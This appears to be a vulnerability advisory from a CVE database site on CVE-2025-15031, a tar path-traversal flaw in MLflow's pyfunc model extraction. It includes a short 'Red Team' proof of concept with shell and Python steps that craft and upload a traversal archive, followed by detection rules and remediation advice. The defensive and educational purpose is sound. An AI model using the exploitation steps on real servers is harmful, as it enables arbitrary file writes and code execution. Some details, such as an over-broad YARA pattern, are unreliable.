CVE-2025-15031
Executive Summary
CVE-2025-15031 is a critical path traversal vulnerability in MLflow's pyfunc extraction process. The flaw arises from the use of tarfile.extractall without proper validation of archive entry paths, allowing a crafted tar.gz file containing .. sequences or absolute paths to escape the intended extraction directory. This can lead to arbitrary file writes, overwriting critical system files, and potentially achieving remote code execution (RCE). The vulnerability is particularly dangerous in multi-tenant environments or when ingesting untrusted artifacts. The CVSS score is 8.1 (High), and no patch is currently available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains high due to the potential impact.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
MLflow is a Python package (PyPI ecosystem). This vulnerability directly impacts the supply chain by allowing an attacker to inject malicious artifacts that, when processed by MLflow's pyfunc extraction, can overwrite files on the host system. This could lead to the compromise of MLflow servers, data exfiltration, or lateral movement within the infrastructure. Organizations using MLflow to manage machine learning models must treat this as a critical supply chain risk.
CVSS Breakdown & Threat Level
- CVSS Score: 8.1 (High)
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): None (N) – No direct data exposure.
- Integrity (I): High (H) – Arbitrary file writes can corrupt system files.
- Availability (A): High (H) – Overwriting critical files can cause denial of service.
Threat Level: High. The combination of network exploitability, low complexity, and high integrity/availability impact makes this a serious threat, especially in environments where untrusted ML artifacts are ingested.
Deep Dive & Mechanics
The vulnerability resides in MLflow's pyfunc model extraction logic. When a user uploads a model artifact (e.g., a .tar.gz file), MLflow extracts it using Python's tarfile module. The vulnerable code uses tarfile.extractall() without sanitizing the paths of the entries within the archive. An attacker can craft a tar.gz file containing entries with path traversal sequences (e.g., ../../etc/cron.d/malicious) or absolute paths (e.g., /etc/passwd). When extracted, these entries overwrite files outside the intended extraction directory.
Key Components:
tarfile.extractall(): This method extracts all files from a tar archive to the current working directory. By default, it does not prevent path traversal.- Pyfunc extraction: MLflow's pyfunc module handles the loading and extraction of Python function models. The extraction process is triggered when a model is loaded or registered.
Attack Flow:
- Attacker crafts a malicious tar.gz archive with path traversal entries.
- Attacker uploads the archive to an MLflow server (e.g., via the MLflow Tracking API or UI).
- MLflow's pyfunc extraction process calls
tarfile.extractall()on the archive. - The malicious entries write files to arbitrary locations on the server's filesystem.
- If the attacker overwrites a critical file (e.g., a cron job, SSH authorized_keys, or a Python library), they can achieve RCE.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
import tarfile
import os
def extract_model(archive_path, extract_dir):
with tarfile.open(archive_path, 'r:gz') as tar:
tar.extractall(path=extract_dir) # No path validation
Patched Code (Conceptual):
import tarfile
import os
def safe_extract(archive_path, extract_dir):
with tarfile.open(archive_path, 'r:gz') as tar:
for member in tar.getmembers():
# Resolve the full path and ensure it stays within extract_dir
member_path = os.path.realpath(os.path.join(extract_dir, member.name))
if not member_path.startswith(os.path.realpath(extract_dir)):
raise Exception("Path traversal detected")
tar.extract(member, path=extract_dir)
The patched code validates each member's path to ensure it does not escape the intended extraction directory.
Exploitation & Lab Setup
Red Team (Exploitation)
Lab Setup:
- Target: MLflow server (latest version) running on Ubuntu 22.04.
- Attacker: Kali Linux with Python 3.
Exploitation Steps:
- Create a malicious tar.gz archive with path traversal:
mkdir malicious_model cd malicious_model echo "#!/bin/bash" > malicious.sh echo "echo 'pwned' > /tmp/pwned" >> malicious.sh # Create a tar entry with path traversal tar -czf ../malicious.tar.gz --transform='s|malicious.sh|../../tmp/pwned.sh|' malicious.sh - Upload the archive to MLflow:
import mlflow from mlflow.tracking import MlflowClient client = MlflowClient() client.create_experiment("malicious") with open("malicious.tar.gz", "rb") as f: client.log_artifact(run_id="<run_id>", local_path="malicious.tar.gz", artifact_path="model") - Trigger extraction by loading the model:
import mlflow.pyfunc model = mlflow.pyfunc.load_model("runs:/<run_id>/model") - Verify file write:
cat /tmp/pwned.sh
Expected Output: The file /tmp/pwned.sh is created with the malicious content.
Blue Team (Detection & Response)
Detection Steps:
- Monitor file system changes in sensitive directories (e.g.,
/etc/cron.d/,/tmp/,/var/www/). - Audit MLflow logs for unusual artifact uploads or extraction errors.
- Use file integrity monitoring (FIM) tools like Tripwire or AIDE to detect unauthorized file modifications.
Response:
- Isolate the affected MLflow server.
- Review MLflow logs for the malicious artifact.
- Remove any unauthorized files.
- Restore any overwritten system files from backups.
- Implement network segmentation to limit MLflow server exposure.
Indicators of Compromise (IOCs)
- File System:
- Unexpected files in
/tmp/,/etc/cron.d/,/root/.ssh/, or other sensitive directories. - Files with names containing path traversal patterns (e.g.,
../../).
- Unexpected files in
- Network:
- Unusual outbound connections from the MLflow server (e.g., to attacker C2).
- MLflow Logs:
- Errors related to
tarfileextraction or path validation failures. - Artifact uploads from untrusted IP addresses.
- Errors related to
- Process:
- MLflow processes writing to unexpected directories.
Detection Engineering
YARA Rule
rule CVE_2025_15031_PathTraversal {
meta:
description = "Detects tar.gz files with path traversal patterns"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-15031"
strings:
$path_traversal = /\.\.\// nocase
$absolute_path = /\/[a-zA-Z]/ nocase
condition:
$path_traversal or $absolute_path
}
Sigma Rule
title: MLflow Pyfunc Path Traversal
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects attempts to exploit CVE-2025-15031 via path traversal in tar.gz artifacts
author: Valters IT
logsource:
product: linux
service: auditd
detection:
selection:
type: 'PATH'
key: '/tmp/*' # Monitor extraction directory
name|contains: '..'
condition: selection
falsepositives:
- Legitimate use of relative paths in tar archives
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"MLflow Pyfunc Path Traversal Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/2.0/mlflow-artifacts/upload"; http_uri; content:".tar.gz"; http_client_body; pcre:"/\.\.\//"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable pyfunc extraction for untrusted artifacts until a patch is available.
- Implement input validation on uploaded artifacts (e.g., scan for path traversal patterns).
- Restrict network access to MLflow servers (e.g., use firewalls, VPNs).
- Monitor file system changes in sensitive directories.
Long-term Fix:
- Apply the official patch from MLflow when released.
- Upgrade to a patched version of MLflow.
- Implement a custom extraction function that validates paths (see patched code example).
Workaround:
- Use a custom MLflow plugin or wrapper that sanitizes tar entries before extraction.
Valters IT signature: This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.